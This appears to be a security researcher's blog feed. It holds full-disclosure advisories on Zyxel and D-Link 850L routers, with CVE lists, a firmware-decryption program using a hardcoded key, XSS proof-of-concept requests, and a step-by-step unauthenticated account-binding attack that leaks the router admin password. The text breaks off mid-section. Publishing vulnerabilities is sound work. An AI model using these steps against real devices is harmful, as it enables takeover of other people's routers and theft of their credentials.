<p>Full-disclosure is applied as we believe some backdoors are intentionally placed by the vendor. </p>
<p>Also, there are likely to be way more 0day vulnerabilities in the appliance, but we decided not to dig more due to time constraints.</p>
<p>On a side note, the solution also contains some SQLi, some references to ISPs in Greece(?!?) and Germany.</p>
<h2>Report Timeline</h2>
<ul>
<li>Dec 20, 2019: Vulnerabilities found and this advisory was written.</li>
<li>Mar 09, 2020: A public advisory is sent to security mailing lists.</li>
<li>Jun 26, 2020: MITRE provides CVE-2020-15312, CVE-2020-15313, CVE-2020-15314, CVE-2020-15315, CVE-2020-15316, CVE-2020-15317, CVE-2020-15318, CVE-2020-15319, CVE-2020-15320, CVE-2020-15321, CVE-2020-15322, CVE-2020-15323, CVE-2020-15324, CVE-2020-15325, CVE-2020-15326, CVE-2020-15327, CVE-2020-15328, CVE-2020-15329, CVE-2020-15330, CVE-2020-15331, CVE-2020-15332, CVE-2020-15333, CVE-2020-15334, CVE-2020-15335, CVE-2020-15336, CVE-2020-15337, CVE-2020-15338, CVE-2020-15339, CVE-2020-15340, CVE-2020-15341, CVE-2020-15342, CVE-2020-15343, CVE-2020-15344, CVE-2020-15345, CVE-2020-15346, CVE-2020-15347, CVE-2020-15348.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>) and Alexandre Torres.</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt">https://pierrekim.github.io/advisories/2020-zyxel-0x00-secumanager.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html">https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Update - Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol</title>
        <link href="2017-09-21-update-dlink-850l-mydlink-cloud-0days-vulnerabilities.html"/>
        <content type="html"><p>An update on the post "<a href="https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html">Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol</a>":</p>
<p>MITRE was very effective and provided several CVEs for these vulnerabilities:</p>
<p>CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416, CVE-2017-14417, CVE-2017-14418,
CVE-2017-14419, CVE-2017-14420, CVE-2017-14421, CVE-2017-14422, CVE-2017-14423, CVE-2017-14424,
CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428, CVE-2017-14429, CVE-2017-14430.</p>
<p>D-Link provided firmware updates at: <a href="http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10074">http://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10074</a>.</p>
<p><strong>Full-Disclosure seems to work! It forced D-Link to provide working security patches to the public in a timely manner.</strong></p>
<p>Only 14 CVEs (of 18 CVEs) are recognized in the list from the Security Announcement from D-Link. I verified myself that the vulnerabilities have been indeed patched or not - for all 18 CVEs - as shown below on a <strong>real router with the latest firmware</strong>.</p>
<p><strong>This work was possible thanks to another pre-auth 0day exploit that I have not yet released and which still works against the latest revB firmware (<code>DIR850LB1_FW220WWb03.bin</code>).</strong></p>
<pre><code>user@kali:~/petage-dlink$ ./pwn-dlink-850-003 192.168.0.1
[...]
# uname -ap
Linux dlinkrouter 2.6.30.9 #1 Mon Sep 18 10:27:42 CST 2017 rlx GNU/Linux
# busybox 
BusyBox v1.14.1 (2017-09-18 20:18:33 CST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
[...]
#
</code></pre>
<h2>Firmware "protection"</h2>
<p>The algorithm seems to have been updated. <a href="https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html#firmware-protection">The previous program</a> doesn't work anymore. <strong>Luckily, having a root shell on the device gives me some hints about how to decipher firmware images.</strong></p>
<h2>WAN &amp;&amp; LAN - revA - XSS - CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416</h2>
<p>Corrected - the vulnerable files have been removed, as shown below:</p>
<pre><code># cd /htdocs/web
# ls -la *php
-rw-r--r--    1 root     root          143 Sep 18  2017 wiz_mydlink.php
-rw-r--r--    1 root     root         3768 Sep 18  2017 vpnconfig.php
-rw-r--r--    1 root     root          204 Sep 18  2017 version.php
-rw-r--r--    1 root     root         1074 Sep 18  2017 getcfg.php
-rw-r--r--    1 root     root         2661 Sep 18  2017 dnslog.php
-rw-r--r--    1 root     root          149 Sep 18  2017 bsc_mydlink.php
#
</code></pre>
<h2>WAN &amp;&amp; LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol - CVE-2017-14417, CVE-2017-14418</h2>
<p>Corrected - the vulnerable file has been removed.</p>
<pre><code># ls /htdocs/web/register_send.php
ls: /htdocs/web/register_send.php: No such file or directory
#
</code></pre>
<p>Note that the device still sends clear-text passwords to the Cloud protocol (www.mydlink.com).</p>
<h2>WAN - revA and revB - Weak Cloud protocol - CVE-2017-14419, CVE-2017-14420</h2>
<p>Not checked as this is going to be taking to much time.</p>
<h2>LAN - revB - Backdoor access - CVE-2017-14421</h2>
<p>Corrected.</p>
<h2>WAN &amp;&amp; LAN - revA and revB - Stunnel private keys - CVE-2017-14422</h2>
<p>Corrected - as shown below:</p>
<pre><code># ls -la /etc/stunnel.key
ls: /etc/stunnel.key: No such file or directory
#
</code></pre>
<p>The new certificate (<code>/tmp/server.key</code> and <code>/tmp/server.crt</code>) is generated on-the-fly during the boot process by the <code>scripts/updatessl.sh</code> script. It's a self-signed certificate:</p>
<pre><code># cat scripts/updatessl.sh
[...]
openssl req -new -newkey rsa:2048 -days $SSLDAYS -sha256 -nodes -x509 -subj "/C=TW/ST=Taiwan/L=Taipei/O=D-Link Corporation/OU=D-Link WRPD/CN=General Root CA/emailAddress=webmaster@localhost" -extensions usr_cert -keyout $TMPKEY -out $TMPPEM -config /etc/openssl.cnf -rand $TMPRAND
[...]
</code></pre>
<p>This opens question about the security of the Cloud protocol.</p>
<h2>WAN &amp;&amp; LAN - revA - Nonce bruteforcing for DNS configuration - CVE-2017-14423</h2>
<p>Corrected - this file has been removed from the firmware image.</p>
<h1>Local - revA and revB - Weak files permission and credentials stored in cleartext - CVE-2017-14424, CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428</h1>
<p>Corrected - the passwords are replaced by 'x' everywhere:</p>
<pre><code># cat /var/passwd
"Admin" "x" "0"
# cat /var/etc/hnapasswd
Admin:x
# ls -la /var/passwd
-rw-rw-rw-    1 root     root           16 Jan  1 00:00 /var/passwd
# cat /var/passwd
"Admin" "x" "0"
# ls -la /var/etc/hnapasswd
-rw-rw-rw-    1 root     root            8 Jan  1 00:00 /var/etc/hnapasswd
# cat /var/etc/hnapasswd
Admin:x
# cat /var/etc/hnapasswd
Admin:x
# ls -la /var/etc/hnapasswd
-rw-rw-rw-    1 root     root            8 Jan  1 00:00 /var/etc/hnapasswd
# ls -la /var/etc/passwd
-rw-r--r--    1 root     root          146 Jan  1 00:00 /var/etc/passwd
# cat /var/etc/passwd
root:x:0:0:Linux User,,,:/home/root:/bin/sh
nobody:x:1000:500:Linux User,,,:/home/nobody:/bin/sh
Admin:x:1001:0:Linux User,,,:/home/Admin:/bin/sh
# cat /var/etc/shadow
root:!:10956:0:99999:7:::
nobody:!:10956:0:99999:7:::
Admin:!:10956:0:99999:7:::
# ls -la /var/run/storage_account_root
-rw-rw-rw-    1 root     root           12 Jan  1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root
admin:x,:::
# ls -la /var/run/hostapd*conf
-rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf
</code></pre>
<h2>WAN - revB - Pre-Auth RCEs as root (L2) - CVE-2017-14429</h2>
<p>Corrected - the variables are sanitized.</p>
<h2>LAN - revA and revB - DoS against some daemons - CVE-2017-14430</h2>
<p>Corrected? I don't think so.</p>
<h2>Conclusion</h2>
<p>I'm happily surprised by the results of dropping 0days without coordinated disclosure when it is about D-Link products. Should this be the only method with D-Link to get working security patches in a timely manner?</p>
<p>Hopefully one day a coordinated disclosure could work in the same way.</p>
<h2>Disclaimer</h2>
<p>This research is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol</title>
        <link href="2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Dlink is a multinational networking equipment manufacturing corporation.</p>
<p>The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router.</p>
<p>Mydlink Cloud Services allow you to access, view and control the devices on your home network from anywhere.</p>
<h2>Vulnerabilities Summary</h2>
<p>The Dlink 850L is a router overall badly designed with a lot of vulnerabilities.</p>
<p>Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused.</p>
<p>My research in analyzing the security of Dlink 850L routers starts from a recent security contest organized by a security company. The Dlink 850L has 2 versions of these routers with very slight hardware modifications.</p>
<p>The contest targeted the first version (revisionA) but I (unfortunately) received the wrong version, revisionB (thank you Amazon!), which was not eligible for the contest.  </p>
<p>In this advisory, I would like to introduce the 0day vulnerabilities from both versions of Dlink 850L that were not submitted to the contest.
Note that <a href="https://blogs.securiteam.com/index.php/archives/3364">I submitted a valid vulnerability to SSD which was patched</a>.</p>
<p><strong>Following a very badly coordinated previous disclosure with Dlink last February
(see <a href="https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html">https://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html</a>),
Full-disclosure is applied this time</strong>.</p>
<p>The summary of the vulnerabilities is: </p>
<ol>
<li><a href="#firmware-protection">Firmware "protection"</a></li>
<li><a href="#xss">WAN &amp;&amp; LAN - revA - XSS - CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416</a></li>
<li><a href="#rce-mydlink">WAN &amp;&amp; LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol - CVE-2017-14417, CVE-2017-14418</a></li>
<li><a href="#mydlink-cloud-protocol">WAN        - revA and revB - Weak Cloud protocol - CVE-2017-14419, CVE-2017-14420</a></li>
<li><a href="#backdoor">LAN        - revB - Backdoor access - CVE-2017-14421</a></li>
<li><a href="#keys">WAN &amp;&amp; LAN - revA and revB - Stunnel private keys - CVE-2017-14422</a></li>
<li><a href="#dns">WAN &amp;&amp; LAN - revA - Nonce bruteforcing for DNS configuration - CVE-2017-14423</a></li>
<li><a href="#cleartext-passwords">Local      - revA and revB - Weak files permission and credentials stored in cleartext - CVE-2017-14424, CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428</a></li>
<li><a href="#pre-auth-root-rces">WAN        - revB - Pre-Auth RCEs as root (L2) - CVE-2017-14429</a></li>
<li><a href="#dos">LAN       - revA and revB - DoS against some daemons - CVE-2017-14430</a></li>
</ol>
<p>revA targets the revision A of the router with the latest firmware available (<code>DIR850L_REVA_FW114WWb07_h2ab_beta1.bin</code>).</p>
<p>revB targets the revision B of the router with the latest firmware images available (<code>DIR850LB1_FW207WWb05.bin</code> and <code>DIR850L_REVB_FW207WWb05_h1ke_beta1.bin</code> from <a href="http://support.dlink.com/ProductInfo.aspx?m=DIR-850L">http://support.dlink.com/ProductInfo.aspx?m=DIR-850L</a>, <code>DIR850LB1 FW208WWb02.bin</code> from <a href="http://support.dlink.com.au/Download/download.aspx?product=DIR-850L">http://support.dlink.com.au/Download/download.aspx?product=DIR-850L</a>).</p>
<p><a id="firmware-protection"></a></p>
<h2>Details - Firmware "protection"</h2>
<p>The latest firmware for Dlink 850L revA (<code>DIR850L_REVA_FW114WWb07_h2ab_beta1.bin</code>) is not protected and a new firmware image can be trivially forged by an attacker.</p>
<p>The latest firmware images for Dlink 850L revB (<code>DIR850LB1_FW207WWb05.bin</code>, <code>DIR850L_REVB_FW207WWb05_h1ke_beta1.bin</code> and <code>DIR850LB1 FW208WWb02.bin</code>) are password-protected with a hardcoded password.</p>
<p>Here is a program to decrypt the firmware image:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #408080; font-style: italic">/* </span>
<span style="color: #408080; font-style: italic"> * Simple tool to decrypt D-LINK DIR-850L REVB firmwares </span>
<span style="color: #408080; font-style: italic"> *</span>
<span style="color: #408080; font-style: italic"> * $ gcc -o revbdec revbdec.c</span>
<span style="color: #408080; font-style: italic"> * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l &gt; DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted</span>
<span style="color: #408080; font-style: italic"> */</span>

<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;sys/types.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;sys/stat.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;fcntl.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;unistd.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdio.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;string.h&gt;</span><span style="color: #BC7A00"></span>
<span style="color: #BC7A00">#include</span> <span style="color: #408080; font-style: italic">&lt;stdlib.h&gt;</span><span style="color: #BC7A00"></span>

<span style="color: #BC7A00">#define USAGE &quot;Usage: decimg &lt;filename&gt; &lt;key&gt;\n&quot;</span>

<span style="color: #B00040">int</span> <span style="color: #0000FF">main</span>(<span style="color: #B00040">int</span>    argc,
         <span style="color: #B00040">char</span>   <span style="color: #666666">**</span>argv)
{
        <span style="color: #B00040">int</span>     i, fi;
        <span style="color: #B00040">int</span>     fo <span style="color: #666666">=</span> STDOUT_FILENO, fe <span style="color: #666666">=</span> STDERR_FILENO;

        <span style="color: #008000; font-weight: bold">if</span> (argc <span style="color: #666666">!=</span> <span style="color: #666666">3</span>)
        {
                write(fe, USAGE, strlen(USAGE));
                <span style="color: #008000; font-weight: bold">return</span> (EXIT_FAILURE);
        }

        <span style="color: #008000; font-weight: bold">if</span> ((fi <span style="color: #666666">=</span> open(argv[<span style="color: #666666">1</span>], O_RDONLY)) <span style="color: #666666">==</span> <span style="color: #666666">-1</span>)
        {
                perror(<span style="color: #BA2121">&quot;open&quot;</span>);
                write(fe, USAGE, strlen(USAGE));
                <span style="color: #008000; font-weight: bold">return</span> (EXIT_FAILURE);
        }

        <span style="color: #008000; font-weight: bold">const</span> <span style="color: #B00040">char</span> <span style="color: #666666">*</span>key <span style="color: #666666">=</span> argv[<span style="color: #666666">2</span>];
        <span style="color: #B00040">int</span> kl <span style="color: #666666">=</span> strlen(key);

        i <span style="color: #666666">=</span> <span style="color: #666666">0</span>;
        <span style="color: #008000; font-weight: bold">while</span> (<span style="color: #666666">1</span>)
        {
                <span style="color: #B00040">char</span> buffer[<span style="color: #666666">4096</span>];
                <span style="color: #B00040">int</span> j, len;
                len <span style="color: #666666">=</span> read(fi, buffer, <span style="color: #666666">4096</span>);
                <span style="color: #008000; font-weight: bold">if</span> (len <span style="color: #666666">&lt;=</span> <span style="color: #666666">0</span>)
                        <span style="color: #008000; font-weight: bold">break</span>;
                <span style="color: #008000; font-weight: bold">for</span> (j <span style="color: #666666">=</span> <span style="color: #666666">0</span>; j <span style="color: #666666">&lt;</span> len; j<span style="color: #666666">++</span>) {
                        buffer[j] <span style="color: #666666">^=</span> (i <span style="color: #666666">+</span> j) <span style="color: #666666">%</span> <span style="color: #666666">0xFB</span> <span style="color: #666666">+</span> <span style="color: #666666">1</span>;
                        buffer[j] <span style="color: #666666">^=</span> key[(i <span style="color: #666666">+</span> j) <span style="color: #666666">%</span> kl];
                }
                write(fo, buffer, len);
                i <span style="color: #666666">+=</span> len;
        }

       <span style="color: #008000; font-weight: bold">return</span> (EXIT_SUCCESS);
}
</pre></div>

<p>You can use this program to decrypt firmware images:</p>
<pre><code>user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l &gt; DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29
</code></pre>
<p>The protection of the firmware images is non-existent.</p>
<p><a id="xss"></a></p>
<h2>Details - WAN &amp;&amp; LAN - revA - XSS</h2>
<p>Simply by analyzing PHP files inside <code>/htdocs/web</code>, we can discover several trivial XSS.</p>
<p>An attacker can use the XSS to target an authenticated user in order to steal the authentication cookies.</p>
<p><code>/htdocs/web/wpsacts.php</code>:</p>
<pre><code>user@kali:~/petage-dlink$ wget -qO- --post-data='action=&lt;a&gt;' http://ip:port/wpsacts.php
&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;wpsreport&gt;
        &lt;action&gt;&lt;a&gt;&lt;/action&gt;
        &lt;result&gt;&lt;/result&gt;
        &lt;reason&gt;&lt;/reason&gt;
&lt;/wpsreport&gt;


user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
[..]
&lt;wpsreport&gt;
        &lt;action&gt;&lt;?echo $_POST["action"];?&gt;&lt;/action&gt;
[...]
</code></pre>
<p>XSS inside <code>/htdocs/web/shareport.php</code>:</p>
<pre><code>[...]
         &lt;action&gt;&lt;?echo $_POST["action"];?&gt;&lt;/action&gt;
[...]
</code></pre>
<p>XSS inside <code>/htdocs/web/sitesurvey.php</code>:</p>
<pre><code>[...]
        &lt;action&gt;&lt;?echo $_POST["action"];?&gt;&lt;/action&gt;
[...]
</code></pre>
<p>XSS inside <code>/htdocs/web/wandetect.php</code>:</p>
<pre><code>[...]
   &lt;action&gt;&lt;?echo $_POST["action"];?&gt;&lt;/action&gt;
[...]
</code></pre>
<p>XSS inside <code>/htdocs/web/wpsacts.php</code>:</p>
<pre><code>[...]
   &lt;action&gt;&lt;?echo $_POST["action"];?&gt;&lt;/action&gt;
[...]
</code></pre>
<p><a id="rce-mydlink"></a></p>
<h2>Details - WAN &amp;&amp; LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol</h2>
<h3><strong>DISCLAIMER: Beware, no request has been sent directly to any servers operated by Dlink or other companies. All internet network traffic shown below is legitimate and produced by Dlink itself, or by products of Dlink (Dlink Cloud, Dlink browser extensions, Dlink 850L). All the findings exposed below were discovered without exceeding Dlink terms of use. This simply demonstrates how much broken this service is at the time of writing (run away!).</strong></h3>
<p>The webpage <code>http://ip_of_router/register_send.php</code> doesn't check the authentication of the user, thus an attacker can abuse this webpage to gain control of the device.
This webpage is used to register the device to the myDlink cloud infrastructure.</p>
<h3>Attack scenario:</h3>
<p>o The attacker will use the unauthenticated <code>/register_send.php</code> webpage to:</p>
<ol>
<li>
<p>create a MyDlink Cloud account,</p>
</li>
<li>
<p>signin the device to this account,</p>
</li>
<li>
<p>add the device to this account (the device will pass admin password to the Cloud platform! Meaning the passwords are stored in cleartext).</p>
</li>
</ol>
<p>o The attacker will then visit <a href="http://www.mydlink.com/">Dlink mycloud webpage</a> using a classic browser (i.e.: <a href="https://ftp.mozilla.org/pub/firefox/releases/50.0/win32/en-US/Firefox%20Setup%2050.0.exe">Firefox 50</a> and install the official Dlink NPAPI extension (this will not work with Firefox &gt; 50 or any recent version of Chrome since this plugin requires unsandboxed NPAPI support). This webpage will allow the attacker to remotely control the device (reboot, general management...).</p>
<p>o Then, using <code>Firefox dev tools</code>, the attacker can passively analyze the default HTTP requests/responses from the Dlink APIs on <a href="https://www.mydlink.com/">www.mydlink.com</a>:
The dlink cloud interface will <strong>leak by default</strong> the password of the device (!) inside the answer of a <code>PUT</code> request (and inside <code>GET</code> requests too). <strong>Just by watching the HTTP requests from the NPAPI plugin, the APIs will provide passwords of the device in cleartext.</strong></p>
<p>o Finally, the NPAPI plugins will automatically establish a tunnel between the router and the Firefox browser:
the attacker will be able to visit <code>http://127.0.0.1:dynamicaly_generated_remote_port/</code> to reach the remote router.
The traffic will go directly to Amazon servers then to the remote Dlink router:</p>
<pre><code>Firefox NPAPI client (http://127.0.0.1:remote_port/)   -&gt;    Amazon   -&gt;    Dlink 850L HTTP Interface.
</code></pre>
<p>o The attacker will use the previous password provided by the legit HTTPS answers from the Dlink APIs and will be able to login inside the router.
<strong>At that point complete control over the router is achieved.</strong></p>
<p>o This is made possible by the <code>signalc</code> program (inside <code>/mydlink/</code>) that creates a TCP tunnel to Amazon servers.</p>
<p>Finally, I will demonstrate some part of the traffic inside this tunnel is in cleartext and the other part (encrypted traffic) can be MITM'd
thanks to self-signed certificates and the complete lack of certificate verification.</p>
<h3>Let's resume the attack:</h3>
<p>The PHP script hosted at <code>http://ip_of_router/register_send.php</code> will serve as a proxy between the attacker and the remote Dlink APIs.
This page will also retrieve the password (<strong>it is stored in cleartext</strong> - see <a href="#cleartext-passwords">part 8. Weak files permission and credentials stored in cleartext</a>) and send it to remote Dlink APIs.</p>
<pre><code>151 $devpasswd = query("/device/account/entry/password"); &lt;- $devpasswd contains the password
152 $action = $_POST["act"];                                 of the device
</code></pre>
<p>The password will be sent during the association of the device (3rd request : <code>adddev</code>) to the Mydlink Cloud service (see the <code>&amp;device_password=$devpasswd</code>):</p>
<pre><code>178 //sign up
179 $post_str_signup = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
180                    "&amp;action=sign-up&amp;accept=accept&amp;email=" .$_POST["outemail"]. "&amp;password=" .$_POST["passwd"].
181                    "&amp;password_verify=" .$_POST["passwd"]. "&amp;name_first=" .$_POST["firstname"]. "&amp;name_last=" .$_POST["lastname"]." ";
182 
183 $post_url_signup = "/signin/";
184 
185 $action_signup = "signup";
186 
187 //sign in       
188 $post_str_signin = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
189             "&amp;email=" .$_POST["outemail"]. "&amp;password=" .$_POST["passwd"]." ";
190 
191 $post_url_signin = "/account/?signin";
192 
193 $action_signin = "signin";
194 
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
197             "&amp;dlife_no=" .$mydlink_num. "&amp;device_password=" .$devpasswd. "&amp;dfp=" .$dlinkfootprint." ";
198 
199 $post_url_adddev = "/account/?add";
200 
201 $action_adddev = "adddev";
202 
203 //main start
204 if($action == $action_signup)                    &lt;---- first request
205 {
206         $post_str = $post_str_signup;
207         $post_url = $post_url_signup;
208         $withcookie = "";   //signup dont need cookie info
209 }
210 else if($action == $action_signin)               &lt;---- second request
211 {
212         $post_str = $post_str_signin;
213         $post_url = $post_url_signin;
214         $withcookie = "\r\nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;";
215 }
216 else if($action == $action_adddev)               &lt;---- 3rd request
217 {
218         $post_str = $post_str_adddev;
219         $post_url = $post_url_adddev;
220 }
</code></pre>
<p>To exploit this vuln, let's create 3 HTTP requests to the dlink router:</p>
<p>The first one (<code>signup</code>) will create an user on the MyDlink service:</p>
<pre><code>user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&amp;lang=en&amp;outemail=MYEMAIL@GMAIL.COM&amp;passwd=SUPER_PASSWORD&amp;firstname=xxxxxxxx&amp;lastname=xxxxxxxx' http://ip/register_send.php

&lt;?xml version="1.0"?&gt;
&lt;register_send&gt;
   &lt;result&gt;success&lt;/result&gt;
   &lt;url&gt;http://mp-us-portal.auto.mydlink.com&lt;/url&gt;
&lt;/register_send&gt;
</code></pre>
<p>Internally, this request was crafted and sent to MyDlink Cloud APIs:</p>
<pre><code>179 $post_str_signup = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
180                    "&amp;action=sign-up&amp;accept=accept&amp;email=" .$_POST["outemail"]. "&amp;password=" .$_POST["passwd"].
181                    "&amp;password_verify=" .$_POST["passwd"]. "&amp;name_first=" .$_POST["firstname"]. "&amp;name_last=" .$_POST["lastname"]." ";
</code></pre>
<p>The second one (<code>signin</code>) will "signin" the newly created user - the router will be associated with this account - but not activated:</p>
<pre><code>user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&amp;lang=en&amp;outemail=MYEMAIL@GMAIL.COM&amp;passwd=SUPER_PASSWORD&amp;firstname=xxxxxxxx&amp;lastname=xxxxxxxx' http://ip/register_send.php

&lt;?xml version="1.0"?&gt;
&lt;register_send&gt;
  &lt;result&gt;success&lt;/result&gt;
  &lt;url&gt;http://mp-us-portal.auto.mydlink.com&lt;/url&gt;
&lt;/register_send&gt;
</code></pre>
<p>Internally, this request was crafted and sent to MyDlink Cloud APIs:</p>
<pre><code>188 $post_str_signin = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
189             "&amp;email=" .$_POST["outemail"]. "&amp;password=" .$_POST["passwd"]." ";
</code></pre>
<p>The last one will associate the device to the dlink service and will send the password of the device to the remote APIs of Dlink:</p>
<pre><code>user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&amp;lang=en' http://ip/register_send.php

&lt;?xml version="1.0"?&gt;
&lt;register_send&gt;
  &lt;result&gt;success&lt;/result&gt;
  &lt;url&gt;http://mp-us-portal.auto.mydlink.com&lt;/url&gt;
&lt;/register_send&gt;
</code></pre>
<p>Internally, this request was crafted and sent to MyDlink Cloud APIs:</p>
<pre><code>196 $post_str_adddev = "client=wizard&amp;wizard_version=" .$wizard_version. "&amp;lang=" .$_POST["lang"].
197             "&amp;dlife_no=" .$mydlink_num. "&amp;device_password=" .$devpasswd. "&amp;dfp=" .$dlinkfootprint." ";
</code></pre>
<p>Now please confirm the email using the email sent from Dlink: </p>
<p><img src="images/2017-dlink-000-activation-email.png" width="140%" height="140%"></p>
<p>Then, visit <a href="http://mydlink.com/">http://mydlink.com/</a> and login using the email and the password.</p>
<p>You will see the device listed in the web interface (You need to install the plugin - you can use "IE8 - Win7.ova" from Microsoft, you need Firefox 50 to use the plugin).</p>
<p>Please see the attached screenshot to see the available management options (you can click on the images):</p>
<p><a href="images/2017-dlink-001-webpage.png" target="_blank"><img src="images/2017-dlink-001-webpage.png" width="100%" height="100%"></a></p>
<p><a href="images/2017-dlink-002-webpage.png" target="_blank"><img src="images/2017-dlink-002-webpage.png" width="100%" height="100%"></a></p>
<p><a href="images/2017-dlink-003-webpage.png" target="_blank"><img src="images/2017-dlink-003-webpage.png" width="100%" height="100%"></a></p>
<p><a href="images/2017-dlink-004-webpage.png" target="_blank"><img src="images/2017-dlink-004-webpage.png" width="100%" height="100%"></a></p>
<p>By analyzing the requests, we can get more information about the targeted router (note the requests are made <strong>by default</strong> when browsing the www.mydlink.com website!):</p>
<p><a href="images/2017-dlink-005-dev-tools.png" target="_blank"><img src="images/2017-dlink-005-dev-tools.png"></a></p>
<p>It appears the <code>PUT</code> (<code>PUT IDENTIFIER_OF_THE_ROUTER</code>) request provides a response with the cleartext password of the device!</p>
<p><a href="images/2017-dlink-006-dev-tools.png" target="_blank"><img src="images/2017-dlink-006-dev-tools.png"></a></p>
<p>Note that there is a <code>GET</code> request on the end of the image, we will study it too.</p>
<pre><code>https://eu.mydlink.com/device/devices/DEVICEID?_=SOME_RANDOM_DATA&amp;access_token=ACCESS_TOKEN
</code></pre>
<p>The <code>POST</code> data are:</p>
